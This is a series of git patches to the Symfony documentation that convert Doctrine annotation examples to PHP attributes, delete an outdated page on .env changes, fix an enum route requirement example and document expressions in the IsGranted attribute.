 doctrine/associations.rst              | 83 ++------------------------
 doctrine/events.rst                    | 27 ---------
 doctrine/resolve_target_entity.rst     | 13 ++--
 form/form_collections.rst              |  6 +-
 quick_tour/flex_recipes.rst            | 24 +++-----
 reference/constraints/Traverse.rst     | 70 +---------------------
 reference/constraints/UniqueEntity.rst | 54 -----------------
 security.rst                           | 29 +++------
 11 files changed, 44 insertions(+), 306 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index d81e593f812..affc484f3d2 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -133,14 +133,10 @@ type, which converts to/from UUID objects automatically::
 
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-     * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
-     */
+    #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
-        /**
-         * @ORM\Column(type="uuid")
-         */
+        #[ORM\Column(type: 'uuid')]
         private $someProperty;
 
         // ...
@@ -156,12 +152,10 @@ entity primary keys::
 
     class User implements UserInterface
     {
-        /**
-         * @ORM\Id
-         * @ORM\Column(type="uuid", unique=true)
-         * @ORM\GeneratedValue(strategy="CUSTOM")
-         * @ORM\CustomIdGenerator(class="doctrine.uuid_generator")
-         */
+        #[ORM\Id]
+        #[ORM\Column(type: 'uuid', unique: true)]
+        #[ORM\GeneratedValue(strategy: 'CUSTOM')]
+        #[ORM\CustomIdGenerator(class: 'doctrine.uuid_generator')]
         private $id;
 
         public function getId(): ?Uuid
@@ -291,14 +285,10 @@ type, which converts to/from ULID objects automatically::
 
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-     * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
-     */
+    #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
-        /**
-         * @ORM\Column(type="ulid")
-         */
+        #[ORM\Column(type: 'ulid')]
         private $someProperty;
 
         // ...
@@ -314,12 +304,10 @@ entity primary keys::
 
     class Product
     {
-        /**
-         * @ORM\Id
-         * @ORM\Column(type="ulid", unique=true)
-         * @ORM\GeneratedValue(strategy="CUSTOM")
-         * @ORM\CustomIdGenerator(class="doctrine.ulid_generator")
-         */
+        #[ORM\Id]
+        #[ORM\Column(type: 'ulid', unique: true)]
+        #[ORM\GeneratedValue(strategy: 'CUSTOM')]
+        #[ORM\CustomIdGenerator(class: 'doctrine.ulid_generator')]
         private $id;
 
         public function getId(): ?Ulid
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index b962710ca8f..158e7167a0b 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -24,9 +24,7 @@ add a PDF brochure for each product. To do so, add a new property called
     {
         // ...
 
-        /**
-         * @ORM\Column(type="string")
-         */
+        #[ORM\Column(type: 'string')]
         private $brochureFilename;
 
         public function getBrochureFilename()
diff --git a/doctrine.rst b/doctrine.rst
index c821a5dff22..7c9a73d39dc 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -205,8 +205,8 @@ If you want to use XML instead of annotations, add ``type: xml`` and
     Be careful not to use reserved SQL keywords as your table or column names
     (e.g. ``GROUP`` or ``USER``). See Doctrine's `Reserved SQL keywords documentation`_
     for details on how to escape these. Or, change the table name with
-    ``#[ORM\Table(name: "groups")]`` above the class or configure the column name with
-    the ``name: "group_name"`` option.
+    ``#[ORM\Table(name: 'groups')]`` above the class or configure the column name with
+    the ``name: 'group_name'`` option.
 
 .. _doctrine-creating-the-database-tables-schema:
 
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index b1045fd3e9d..8ebdadf7864 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -140,34 +140,6 @@ the ``Product`` entity (and getter & setter methods):
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Product.php
-        namespace App\Entity;
-
-        // ...
-        class Product
-        {
-            // ...
-
-            /**
-             * @ORM\ManyToOne(targetEntity="App\Entity\Category", inversedBy="products")
-             */
-            private $category;
-
-            public function getCategory(): ?Category
-            {
-                return $this->category;
-            }
-
-            public function setCategory(?Category $category): self
-            {
-                $this->category = $category;
-
-                return $this;
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Product.php
@@ -178,7 +150,7 @@ the ``Product`` entity (and getter & setter methods):
         {
             // ...
 
-            #[ORM\ManyToOne(targetEntity: Category::class, inversedBy: "products")]
+            #[ORM\ManyToOne(targetEntity: Category::class, inversedBy: 'products')]
             private $category;
 
             public function getCategory(): ?Category
@@ -237,40 +209,6 @@ class that will hold these objects:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Category.php
-        namespace App\Entity;
-
-        // ...
-        use Doctrine\Common\Collections\ArrayCollection;
-        use Doctrine\Common\Collections\Collection;
-
-        class Category
-        {
-            // ...
-
-            /**
-             * @ORM\OneToMany(targetEntity="App\Entity\Product", mappedBy="category")
-             */
-            private $products;
-
-            public function __construct()
-            {
-                $this->products = new ArrayCollection();
-            }
-
-            /**
-             * @return Collection|Product[]
-             */
-            public function getProducts(): Collection
-            {
-                return $this->products;
-            }
-
-            // addProduct() and removeProduct() were also added
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Category.php
@@ -284,7 +222,7 @@ class that will hold these objects:
         {
             // ...
 
-            #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category")]
+            #[ORM\OneToMany(targetEntity: Product::class, mappedBy: 'category')]
             private $products;
 
             public function __construct()
@@ -647,24 +585,13 @@ that behavior, use the `orphanRemoval`_ option inside ``Category``:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Category.php
-
-        // ...
-
-        /**
-         * @ORM\OneToMany(targetEntity="App\Entity\Product", mappedBy="category", orphanRemoval=true)
-         */
-        private $products;
-
     .. code-block:: php-attributes
 
         // src/Entity/Category.php
 
         // ...
 
-        #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category", orphanRemoval: true)]
+        #[ORM\OneToMany(targetEntity: Product::class, mappedBy: 'category', orphanRemoval: true)]
         private $products;
 
 
@@ -681,8 +608,8 @@ Doctrine's `Association Mapping Documentation`_.
 
 .. note::
 
-    If you're using annotations, you'll need to prepend all annotations with
-    ``@ORM\`` (e.g. ``@ORM\OneToMany``), which is not reflected in Doctrine's
+    If you're using attributes, you'll need to prepend all attributes with
+    ``#[ORM\]`` (e.g. ``#[ORM\OneToMany]``), which is not reflected in Doctrine's
     documentation.
 
 .. _`Association Mapping Documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/association-mapping.html
diff --git a/doctrine/events.rst b/doctrine/events.rst
index e64104f88f4..e29cd82c599 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -53,33 +53,6 @@ define a callback for the ``prePersist`` Doctrine event:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Product.php
-        namespace App\Entity;
-
-        use Doctrine\ORM\Mapping as ORM;
-
-        // When using annotations, don't forget to add @ORM\HasLifecycleCallbacks()
-        // to the class of the entity where you define the callback
-
-        /**
-         * @ORM\Entity()
-         * @ORM\HasLifecycleCallbacks()
-         */
-        class Product
-        {
-            // ...
-
-            /**
-             * @ORM\PrePersist
-             */
-            public function setCreatedAtValue(): void
-            {
-                $this->createdAt = new \DateTimeImmutable();
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Product.php
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 6c1569d411e..31186cc4046 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -46,10 +46,8 @@ A Customer entity::
     use App\Model\InvoiceSubjectInterface;
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-     * @ORM\Entity
-     * @ORM\Table(name="customer")
-     */
+    #[ORM\Entity]
+    #[ORM\Table(name: 'customer')]
     class Customer extends BaseCustomer implements InvoiceSubjectInterface
     {
         // In this example, any methods defined in the InvoiceSubjectInterface
@@ -66,16 +64,15 @@ An Invoice entity::
 
     /**
      * Represents an Invoice.
-     *
-     * @ORM\Entity
-     * @ORM\Table(name="invoice")
      */
+    #[ORM\Entity]
+    #[ORM\Table(name: 'invoice')]
     class Invoice
     {
         /**
-         * @ORM\ManyToOne(targetEntity="App\Model\InvoiceSubjectInterface")
          * @var InvoiceSubjectInterface
          */
+        #[ORM\ManyToOne(targetEntity: InvoiceSubjectInterface::class)]
         protected $subject;
     }
 
diff --git a/form/form_collections.rst b/form/form_collections.rst
index ca7dd6228f7..4d483d61159 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -407,15 +407,13 @@ you will learn about next!).
 
     .. configuration-block::
 
-        .. code-block:: php-annotations
+        .. code-block:: php-attributes
 
             // src/Entity/Task.php
 
             // ...
 
-            /**
-             * @ORM\ManyToMany(targetEntity="App\Entity\Tag", cascade={"persist"})
-             */
+            #[ORM\ManyToMany(targetEntity: Tag::class, cascade: ['persist'])]
             protected $tags;
 
         .. code-block:: yaml
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index c4ab8af488d..c62a5230359 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -185,7 +185,7 @@ Security components, as well as the Doctrine ORM. In fact, Flex installed *5* re
 
 But like usual, we can immediately start using the new library. Want to create a
 rich API for a ``product`` table? Create a ``Product`` entity and give it the
-``@ApiResource()`` annotation::
+``#[ApiResource]`` attribute::
 
     <?php
     // src/Entity/Product.php
@@ -194,27 +194,19 @@ rich API for a ``product`` table? Create a ``Product`` entity and give it the
     use ApiPlatform\Core\Annotation\ApiResource;
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-     * @ORM\Entity()
-     * @ApiResource()
-     */
+    #[ORM\Entity]
+    #[ApiResource]
     class Product
     {
-        /**
-         * @ORM\Id
-         * @ORM\GeneratedValue(strategy="AUTO")
-         * @ORM\Column(type="integer")
-         */
+        #[ORM\Id]
+        #[ORM\GeneratedValue(strategy: 'AUTO')]
+        #[ORM\Column(type: 'integer')]
         private $id;
 
-        /**
-         * @ORM\Column(type="string")
-         */
+        #[ORM\Column(type: 'string')]
         private $name;
 
-        /**
-         * @ORM\Column(type="int")
-         */
+        #[ORM\Column(type: 'integer')]
         private $price;
 
         // ...
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 2302139cbb9..96c4bd9f211 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -19,74 +19,6 @@ that all have constraints on their properties.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/BookCollection.php
-        namespace App\Entity;
-
-        use Doctrine\Common\Collections\ArrayCollection;
-        use Doctrine\Common\Collections\Collection;
-        use Doctrine\ORM\Mapping as ORM;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @ORM\Entity
-         * @Assert\Traverse
-         */
-        class BookCollection implements \IteratorAggregate
-        {
-            /**
-             * @var string
-             *
-             * @ORM\Column
-             *
-             * @Assert\NotBlank
-             */
-            protected $name = '';
-
-            /**
-             * @var Collection|Book[]
-             *
-             * @ORM\ManyToMany(targetEntity="App\Entity\Book")
-             */
-            protected $books;
-
-            // some other properties
-
-            public function __construct()
-            {
-                $this->books = new ArrayCollection();
-            }
-
-            // ... setter for name, adder and remover for books
-
-            // the name can be validated by calling the getter
-            public function getName(): string
-            {
-                return $this->name;
-            }
-
-            /**
-             * @return \Generator|Book[] The books for a given author
-             */
-            public function getBooksForAuthor(Author $author): iterable
-            {
-                foreach ($this->books as $book) {
-                    if ($book->isAuthoredBy($author)) {
-                        yield $book;
-                    }
-                }
-            }
-
-            // neither the method above nor any other specific getter
-            // could be used to validated all nested books;
-            // this object needs to be traversed to call the iterator
-            public function getIterator()
-            {
-                return $this->books->getIterator();
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/BookCollection.php
@@ -112,7 +44,7 @@ that all have constraints on their properties.
             /**
              * @var Collection|Book[]
              */
-            #[ORM\ManyToMany(targetEntity: Book::class)] 
+            #[ORM\ManyToMany(targetEntity: Book::class)]
             protected $books;
 
             // some other properties
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 7ba0ddf2a1e..6ea04862fba 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -30,31 +30,6 @@ between all of the rows in your user table:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Doctrine\ORM\Mapping as ORM;
-
-        // DON'T forget the following use statement!!!
-        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @ORM\Entity
-         * @UniqueEntity("email")
-         */
-        class User
-        {
-            /**
-             * @ORM\Column(name="email", type="string", length=255, unique=true)
-             * @Assert\Email
-             */
-            protected $email;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
@@ -176,35 +151,6 @@ Consider this example:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Service.php
-        namespace App\Entity;
-
-        use Doctrine\ORM\Mapping as ORM;
-        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
-
-        /**
-         * @ORM\Entity
-         * @UniqueEntity(
-         *     fields={"host", "port"},
-         *     errorPath="port",
-         *     message="This port is already in use on that host."
-         * )
-         */
-        class Service
-        {
-            /**
-             * @ORM\ManyToOne(targetEntity="App\Entity\Host")
-             */
-            public $host;
-
-            /**
-             * @ORM\Column(type="integer")
-             */
-            public $port;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Service.php
diff --git a/security.rst b/security.rst
index fd1d6a4b96b..cc99505d152 100644
--- a/security.rst
+++ b/security.rst
@@ -118,32 +118,21 @@ from the `MakerBundle`_:
     use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
 
-    /**
-     * @ORM\Entity(repositoryClass=UserRepository::class)
-     */
+    #[ORM\Entity(repositoryClass: UserRepository::class)]
     class User implements UserInterface, PasswordAuthenticatedUserInterface
     {
-        /**
-         * @ORM\Id
-         * @ORM\GeneratedValue
-         * @ORM\Column(type="integer")
-         */
+        #[ORM\Id]
+        #[ORM\GeneratedValue]
+        #[ORM\Column(type: 'integer')]
         private $id;
 
-        /**
-         * @ORM\Column(type="string", length=180, unique=true)
-         */
+        #[ORM\Column(type: 'string', length: 180, unique: true)]
         private $email;
 
-        /**
-         * @ORM\Column(type="json")
-         */
+        #[ORM\Column(type: 'json')]
         private $roles = [];
 
-        /**
-         * @var string The hashed password
-         * @ORM\Column(type="string")
-         */
+        #[ORM\Column(type: 'string')]
         private $password;
 
         public function getId(): ?int
@@ -1823,9 +1812,7 @@ database and every user is *always* given at least one role: ``ROLE_USER``::
     // ...
     class User
     {
-        /**
-         * @ORM\Column(type="json")
-         */
+        #[ORM\Column(type: 'json')]
         private $roles = [];
 
         // ...

From 415059038685f7eccdb0639124a3674b0cd62e07 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Aug 2022 16:22:37 +0200
Subject: [PATCH 3564/7107] [Config] Delete a page that it's no longer needed

---
 configuration.rst                 |   6 --
 configuration/dot-env-changes.rst | 100 ------------------------------
 2 files changed, 106 deletions(-)
 delete mode 100644 configuration/dot-env-changes.rst

diff --git a/configuration.rst b/configuration.rst
index 905e1e65d8a..dfc5eb8a9ac 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -687,12 +687,6 @@ the env files ending in ``.local`` (``.env.local`` and ``.env.<environment>.loca
 **should not be committed** because only you will use them. In fact, the
 ``.gitignore`` file that comes with Symfony prevents them from being committed.
 
-.. caution::
-
-    Applications created before November 2018 had a slightly different system,
-    involving a ``.env.dist`` file. For information about upgrading, see:
-    :doc:`configuration/dot-env-changes`.
-
 .. _configuration-env-var-in-prod:
 
 Configuring Environment Variables in Production
diff --git a/configuration/dot-env-changes.rst b/configuration/dot-env-changes.rst
deleted file mode 100644
index 316bfa01aba..00000000000
--- a/configuration/dot-env-changes.rst
+++ /dev/null
@@ -1,100 +0,0 @@
-Nov 2018 Changes to .env & How to Update
-========================================
-
-In November 2018, several changes were made to the core Symfony *recipes* related
-to the ``.env`` file. These changes make working with environment variables easier
-and more consistent - especially when writing functional tests.
-
-If your app was started before November 2018, your app **does not require any changes
-to keep working**. However, if/when you are ready to take advantage of these improvements,
-you will need to make a few small updates.
-
-What Changed Exactly?
----------------------
-
-But first, what changed? On a high-level, not much. Here's a summary of the most
-important changes:
-
-* A) The ``.env.dist`` file no longer exists. Its contents should be moved to your
-  ``.env`` file (see the next point).
-
-* B) The ``.env`` file **is** now committed to your repository. It was previously ignored
-  via the ``.gitignore`` file (the updated recipe does not ignore this file). Because
-  this file is committed, it should contain non-sensitive, default values. The
-  ``.env`` can be seen as the previous ``.env.dist`` file.
-
-* C) A ``.env.local`` file can now be created to *override* values in ``.env`` for
-  your machine. This file is ignored in the new ``.gitignore``.
-
-* D) When testing, your ``.env`` file is now read, making it consistent with all
-  other environments. You can also create a ``.env.test`` file for test-environment
-  overrides.
-
-* E) `One further change to the recipe in January 2019`_ means that your ``.env``
-  files are *always* loaded, even if you set an ``APP_ENV=prod`` environment
-  variable. The purpose is for the ``.env`` files to define default values that
-  you can override if you want to with real environment values.
-
-There are a few other improvements, but these are the most important. To take advantage
-of these, you *will* need to modify a few files in your existing app.
-
-Updating My Application
------------------------
-
-If you created your application after November 15th 2018, you don't need to make
-any changes! Otherwise, here is the list of changes you'll need to make - these
-changes can be made to any Symfony 3.4 or higher app:
-
-#. Create a new `config/bootstrap.php`_ file in your project. This file loads Composer's
-   autoloader and loads all the ``.env`` files as needed (note: in an earlier recipe,
-   this file was called ``src/.bootstrap.php``; if you are upgrading from Symfony 3.3
-   or 4.1, use the `3.3/config/bootstrap.php`_ file instead).
-
-#. Update your `public/index.php`_ (`index.php diff`_) file to load the new ``config/bootstrap.php``
-   file. If you've customized this file, make sure to keep those changes (but use
-   the rest of the changes).
-
-#. Update your `bin/console`_ file to load the new ``config/bootstrap.php`` file.
-
-#. Update ``.gitignore``:
-
-   .. code-block:: diff
-
-         # .gitignore
-         # ...
-
-         ###> symfony/framework-bundle ###
-       - /.env
-       + /.env.local
-       + /.env.local.php
-       + /.env.*.local
-
-         # ...
-
-#. Rename ``.env`` to ``.env.local`` and ``.env.dist`` to ``.env``:
-
-   .. code-block:: terminal
-
-       # Unix
-       $ mv .env .env.local
-       $ git mv .env.dist .env
-
-       # Windows
-       C:\> move .env .env.local
-       C:\> git mv .env.dist .env
-
-   You can also update the `comment on the top of .env`_ to reflect the new changes.
-
-#. If you're using PHPUnit, you will also need to `create a new .env.test`_ file
-   and update your `phpunit.xml.dist file`_ so it loads the ``config/bootstrap.php``
-   file.
-
-.. _`config/bootstrap.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.2/config/bootstrap.php
-.. _`3.3/config/bootstrap.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/3.3/config/bootstrap.php
-.. _`public/index.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.2/public/index.php
-.. _`index.php diff`: https://github.com/symfony/recipes/compare/8a4e5555e30d5dff64275e2788a901f31a214e79...86e2b6795c455f026e5ab0cba2aff2c7a18511f7#diff-7d73eabd1e5eb7d969ddf9a7ce94f954
-.. _`bin/console`: https://github.com/symfony/recipes/blob/master/symfony/console/3.3/bin/console
-.. _`comment on the top of .env`: https://github.com/symfony/recipes/blob/master/symfony/flex/1.0/.env
-.. _`create a new .env.test`: https://github.com/symfony/recipes/blob/master/symfony/phpunit-bridge/3.3/.env.test
-.. _`phpunit.xml.dist file`: https://github.com/symfony/recipes/blob/master/symfony/phpunit-bridge/3.3/phpunit.xml.dist
-.. _`One further change to the recipe in January 2019`: https://github.com/symfony/recipes/pull/501

From ccbed906a85be69e2d63b3854b13b88d89d11c49 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Aug 2022 12:45:03 +0200
Subject: [PATCH 3565/7107] Wrap some long lines

---
 components/intl.rst | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 71f98f879fb..387956f85e3 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -166,9 +166,9 @@ to catching the exception, you can also check if a given script code is valid::
 Country Names
 ~~~~~~~~~~~~~
 
-The :class:`Symfony\\Component\\Intl\\Countries` class provides access to the name of all countries according
-to the `ISO 3166-1 alpha-2`_ list and the `ISO 3166-1 alpha-3`_ list
-of officially recognized countries and territories::
+The :class:`Symfony\\Component\\Intl\\Countries` class provides access to the
+name of all countries according to the `ISO 3166-1 alpha-2`_ list and the
+`ISO 3166-1 alpha-3`_ list of officially recognized countries and territories::
 
     use Symfony\Component\Intl\Countries;
 
@@ -233,8 +233,8 @@ Locales
 A locale is the combination of a language, a region and some parameters that
 define the interface preferences of the user. For example, "Chinese" is the
 language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified"
-(script) + "Macau SAR China" (region). The :class:`Symfony\\Component\\Intl\\Locales` class provides access to
-the name of all locales::
+(script) + "Macau SAR China" (region). The :class:`Symfony\\Component\\Intl\\Locales`
+class provides access to the name of all locales::
 
     use Symfony\Component\Intl\Locales;
 
@@ -269,8 +269,8 @@ to catching the exception, you can also check if a given locale code is valid::
 Currencies
 ~~~~~~~~~~
 
-The :class:`Symfony\\Component\\Intl\\Currencies` class provides access to the name of all currencies as well
-as some of their information (symbol, fraction digits, etc.)::
+The :class:`Symfony\\Component\\Intl\\Currencies` class provides access to the name
+of all currencies as well as some of their information (symbol, fraction digits, etc.)::
 
     use Symfony\Component\Intl\Currencies;
 
@@ -317,8 +317,9 @@ to catching the exception, you can also check if a given currency code is valid:
 Timezones
 ~~~~~~~~~
 
-The :class:`Symfony\\Component\\Intl\\Timezones` class provides several utilities related to timezones. First,
-you can get the name and values of all timezones in all languages::
+The :class:`Symfony\\Component\\Intl\\Timezones` class provides several utilities
+related to timezones. First, you can get the name and values of all timezones in
+all languages::
 
     use Symfony\Component\Intl\Timezones;
 

From 311016f79796dc5cdd84c99a6e41873536ebb76d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Aug 2022 15:08:04 +0200
Subject: [PATCH 3566/7107] Minor tweak

---
 security.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index fa60564fab5..2cf429e6dd4 100644
--- a/security.rst
+++ b/security.rst
@@ -1677,7 +1677,8 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
             $mainFirewall = $security->firewall('main');
             // ...
             $mainFirewall->logout()
-                ->path('app_logout') // pass either the *name* or the *path* of the route
+                // the argument can be either a route name or a path
+                ->path('app_logout')
 
                 // where to redirect after logout
                 // ->target('app_any_route')

From 770df1204d283589d632a020873d3f0b922ebe46 Mon Sep 17 00:00:00 2001
From: Jay-Way <jwallrafen@gmail.com>
Date: Thu, 11 Aug 2022 15:35:37 +0200
Subject: [PATCH 3567/7107] Update argument_value_resolver.rst

Fix documentation for Built-In Value Resolvers

The code in the current documentation produces an error when implemented like described. The fix is to not include the FQN of the Enum class, because an instance of BackedEnum is expected.
---
 controller/argument_value_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 3eae1924e05..2f45e7905aa 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -65,7 +65,7 @@ Symfony ships with the following value resolvers in the
                 // this allows all values defined in the Enum
                 'suit' => new EnumRequirement(Suit::class),
                 // this restricts the possible values to the Enum values listed here
-                'suit' => new EnumRequirement([Suit::class, Suit::Diamonds, Suit::Spades]),
+                'suit' => new EnumRequirement([Suit::Diamonds, Suit::Spades]),
             ])]
             public function list(Suit $suit): Response
             {

From b5733a61eeb7877d779057c69f83b3667c63a98a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Aug 2022 17:54:21 +0200
Subject: [PATCH 3568/7107] [Security] Document the usage of expressions in
 IsGranted() attribute

---
 security/expressions.rst | 57 ++++++++++++++++++++++++++++++----------
 1 file changed, 43 insertions(+), 14 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 16989fd75ed..6f2bdf27cbf 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -9,27 +9,56 @@ Using Expressions in Security Access Controls
     The best solution for handling complex authorization rules is to use
     the :doc:`Voter System </security/voters>`.
 
-In addition to a role like ``ROLE_ADMIN``, the ``isGranted()`` method also
-accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
+In addition to security roles like ``ROLE_ADMIN``, the ``isGranted()`` method
+and ``#[IsGranted()]`` attribute also accept an
+:class:`Symfony\\Component\\ExpressionLanguage\\Expression` object:
 
-    // src/Controller/MyController.php
-    namespace App\Controller;
+.. configuration-block::
 
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\ExpressionLanguage\Expression;
-    use Symfony\Component\HttpFoundation\Response;
+    .. code-block:: php-attributes
 
-    class MyController extends AbstractController
-    {
-        public function index(): Response
+        // src/Controller/MyController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\ExpressionLanguage\Expression;
+        use Symfony\Component\HttpFoundation\Response;
+
+        class MyController extends AbstractController
         {
-            $this->denyAccessUnlessGranted(new Expression(
+            #[IsGranted(new Expression(
                 '"ROLE_ADMIN" in role_names or (is_authenticated() and user.isSuperAdmin())'
-            ));
+            ))]
+            public function index(): Response
+            {
+                // ...
+            }
+        }
+
+    .. code-block:: php
 
-            // ...
+        // src/Controller/MyController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\ExpressionLanguage\Expression;
+        use Symfony\Component\HttpFoundation\Response;
+
+        class MyController extends AbstractController
+        {
+            public function index(): Response
+            {
+                $this->denyAccessUnlessGranted(new Expression(
+                    '"ROLE_ADMIN" in role_names or (is_authenticated() and user.isSuperAdmin())'
+                ));
+
+                // ...
+            }
         }
-    }
+
+.. versionadded:: 6.2
+
+    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
 
 In this example, if the current user has ``ROLE_ADMIN`` or if the current
 user object's ``isSuperAdmin()`` method returns ``true``, then access will

From 5cc7135c5cdcd4dc7f80906a7796e8cd91b99502 Mon Sep 17 00:00:00 2001
From: Marcel Siegert <mdotsiegert@gmail.com>
Date: Sat, 11 Jun 2022 03:14:35 +0200
Subject: [PATCH 3569/7107] [DoctrineBridge] Add `NAME` const for UID types

Documentation update for symfony/symfony#46642.
---
 components/uid.rst | 24 ++++++++++++++++--------
 1 file changed, 16 insertions(+), 8 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 6b03971f3e0..ebc031fd50b 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -137,11 +137,12 @@ type, which converts to/from UUID objects automatically::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Bridge\Doctrine\Types\UuidType;
 
     #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
-        #[ORM\Column(type: 'uuid')]
+        #[ORM\Column(type: UuidType::NAME)]
         private $someProperty;
 
         // ...
@@ -153,12 +154,13 @@ entity primary keys::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Bridge\Doctrine\Types\UuidType;
     use Symfony\Component\Uid\Uuid;
 
     class User implements UserInterface
     {
         #[ORM\Id]
-        #[ORM\Column(type: 'uuid', unique: true)]
+        #[ORM\Column(type: UuidType::NAME, unique: true)]
         #[ORM\GeneratedValue(strategy: 'CUSTOM')]
         #[ORM\CustomIdGenerator(class: 'doctrine.uuid_generator')]
         private $id;
@@ -180,6 +182,8 @@ of the UUID parameters::
     // src/Repository/ProductRepository.php
 
     // ...
+    use Symfony\Bridge\Doctrine\Types\UuidType;
+
     class ProductRepository extends ServiceEntityRepository
     {
         // ...
@@ -188,8 +192,8 @@ of the UUID parameters::
         {
             $qb = $this->createQueryBuilder('p')
                 // ...
-                // add 'uuid' as the third argument to tell Doctrine that this is a UUID
-                ->setParameter('user', $user->getUuid(), 'uuid')
+                // add UuidType::NAME as the third argument to tell Doctrine that this is a UUID
+                ->setParameter('user', $user->getUuid(), UuidType::NAME)
 
                 // alternatively, you can convert it to a value compatible with
                 // the type inferred by Doctrine
@@ -294,11 +298,12 @@ type, which converts to/from ULID objects automatically::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Bridge\Doctrine\Types\UlidType;
 
     #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
-        #[ORM\Column(type: 'ulid')]
+        #[ORM\Column(type: UlidType::NAME)]
         private $someProperty;
 
         // ...
@@ -310,12 +315,13 @@ entity primary keys::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Bridge\Doctrine\Types\UlidType;
     use Symfony\Component\Uid\Ulid;
 
     class Product
     {
         #[ORM\Id]
-        #[ORM\Column(type: 'ulid', unique: true)]
+        #[ORM\Column(type: UlidType::NAME, unique: true)]
         #[ORM\GeneratedValue(strategy: 'CUSTOM')]
